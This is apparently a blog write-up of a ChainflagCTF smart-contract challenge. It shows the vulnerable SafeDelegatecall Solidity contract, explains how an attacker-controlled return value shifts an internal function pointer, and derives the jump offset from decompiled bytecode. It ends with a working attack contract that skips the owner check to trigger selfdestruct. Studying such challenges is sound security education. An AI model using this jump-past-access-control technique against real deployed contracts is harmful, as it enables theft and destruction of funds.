06.delegatecall @SafaDelegatecall
2023-07-13 16:27:50 # 02.ChainflagCTF

delegatecall(SafaDelegatecall)

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
pragma solidity ^0.4.23;

contract SafeDelegatecall {

address private owner;
bytes4 internal constant SET = bytes4(keccak256('fifth(uint256)'));
event SendFlag(address addr);
uint randomNumber = 0;

struct Func {
function() internal f;
}

constructor() public payable {
owner = msg.sender;
}

modifier onlyOwner {
require(msg.sender == owner);
_;
}

function execute(address _target) public payable{
require(_target.delegatecall(abi.encodeWithSelector(this.execute.selector)) == false, 'unsafe execution');

bytes4 sel;
uint val;

(sel, val) = getRet();
require(sel == SET);

Func memory func;
func.f = gift;
assembly {
mstore(func, sub(mload(func), val))
}
func.f();
}

function gift() private {
payforflag();
}

function getRet() internal pure returns (bytes4 sel, uint val) {
assembly {
if iszero(eq(returndatasize, 0x24)) { revert(0, 0) }
let ptr := mload(0x40)
returndatacopy(ptr, 0, 0x24)
sel := and(mload(ptr), 0xffffffff00000000000000000000000000000000000000000000000000000000)
val := mload(add(0x04, ptr))
}
}

function payforflag() public payable onlyOwner {
require(msg.value == 1, 'I only need a little money!');
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}

function() payable public{}
}

analyses

code

Our goal is to trigger the event SendFlag(), but only owner could call it and no code can set owner. Let’s look at execute(), maybe it can do something.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function execute(address _target) public payable{
require(_target.delegatecall(abi.encodeWithSelector(this.execute.selector)) == false, 'unsafe execution');

bytes4 sel;
uint val;

(sel, val) = getRet();
require(sel == SET);

Func memory func;
func.f = gift;
assembly {
mstore(func, sub(mload(func), val))
}
func.f();
}

this is execute() logic:

(1) call _tartget’s execute(), and it should be execute wrong and return false

(2) getRet() should return 2 values, one is bytes4(keccak256('fifth(uint256)')) and the other one “val” is anything u like. But “val” should be a specific value or you can not complete this level.

(3) func.f = gift and func.f(): it will call gift()

1
2
3
function gift() private {
payforflag();
}

(4) assembly

  • mload(func): get the address of func in memory ==> get the address of gift in memory, because the struct‘s feature. If you know the EVM storage of struct you can understand it.
  • sub(mload(func), val): address(gift) - val, and the val is decided by us. So we can create a target contract, and the program execution flow can go anywhere.

  • mstore(func, sub(mload(func), val)): place sub(mload(func), val) in the 32 bytes after address func. This means that if we call func.f(), it would jump to the address func and execute the code after the address func. We want to jump to emit SendFlag(msg.sender);, we need to find its address and then we can jump to this code directly without passing the require() and onlyOwner

1
2
3
4
5
function payforflag() public payable onlyOwner {
require(msg.value == 1, 'I only need a little money!');
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}

So we should find the “val”. And we should analyses getRet():

1
2
3
4
5
6
7
8
9
10
11
function getRet() internal pure returns (bytes4 sel, uint val) {
assembly {
if iszero(eq(returndatasize, 0x24)) { //0x24=36
revert(0, 0)
}
let ptr := mload(0x40) //0x40=64
returndatacopy(ptr, 0, 0x24)
sel := and(mload(ptr), 0xffffffff00000000000000000000000000000000000000000000000000000000)
val := mload(add(0x04, ptr))
}
}
  • returndatasize: size of the last returndata, in our level it is the value that delegatecall returns
  • eq(returndatasize, 0x24): if returndatasize is 0x24 bytes?
  • iszero(eq(returndatasize, 0x24)): 0x24 bytes==>true==>1==> not revert(), or it will revert()
  • let ptr := mload(0x40): get the free memory pointer
  • returndatacopy(ptr, 0, 0x24): copy s bytes from returndata at position f to mem at position t. In our level, it is put the value that delegatecall returned in the address of ptr(0x40).
  • mload(ptr): get 32 bytes after address ptr
  • sel := and(mload(ptr), 0xffffffff00000000000000000000000000000000000000000000000000000000): get the first 4 bytes ==> bytes4(keccak256('fifth(uint256)'))
  • add(0x04, ptr): pass 4bytes==>pass address(sel)
  • val := mload(add(0x04, ptr)): get the following 32 bytes==>val, anything we can decide

search for the “val”

address(emit …) = address(gift) - val, equal to val = address(gift) - address(emit …), We need to decompile the contract to find the address.

The title address is in goerli: 0x43E9663D23bBafc76630f7c933A028dE85892E40, and I decompile it in this site.

To find emit SendFlag(msg.sender);, we can search for opcodeSELFDESTRUCT.

From this picture, we can infer it contains emit SendFlag(msg.sender) because of LOG1 but not contains require() because of no *REVERT, so address 03C1 is the address(emit ...)

Also, you can find emit SendFlag(msg.sender) throught require(msg.value == 1,'I only need a little money!') since it only appears once in the contract. From this picture, it approves 03c1 is right. Jump to emit SendFlag(msg.sender) that makes us escape from the require() check.

To find address(gift), we can search with *REVERT and opcode MSTORE. And now we know 048a is address(gift)

Now we know that: val = address(gift) - address(emit …) = 048A - 03C1 = 1162 - 961 = 201 = C9

This is a picture created by me, I hope it is helpful for you to understand this level:

solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract SafeDelegatecallAttack {
bytes4 internal constant SEL = bytes4(keccak256('fifth(uint256)'));

fallback() external {
bytes4 sel = SEL;
assembly {
mstore(0, sel)
mstore(4, 0xC9)
revert(0, 0x24)
}
}// 048A - 03C1 = 1162 - 961 = 201 = C9
}

From this level, I know that if we have inline assembly, we can jump to anywhere we like even pass important check!

Let’s solve it!

destruct contract successfully

trigger successfully :)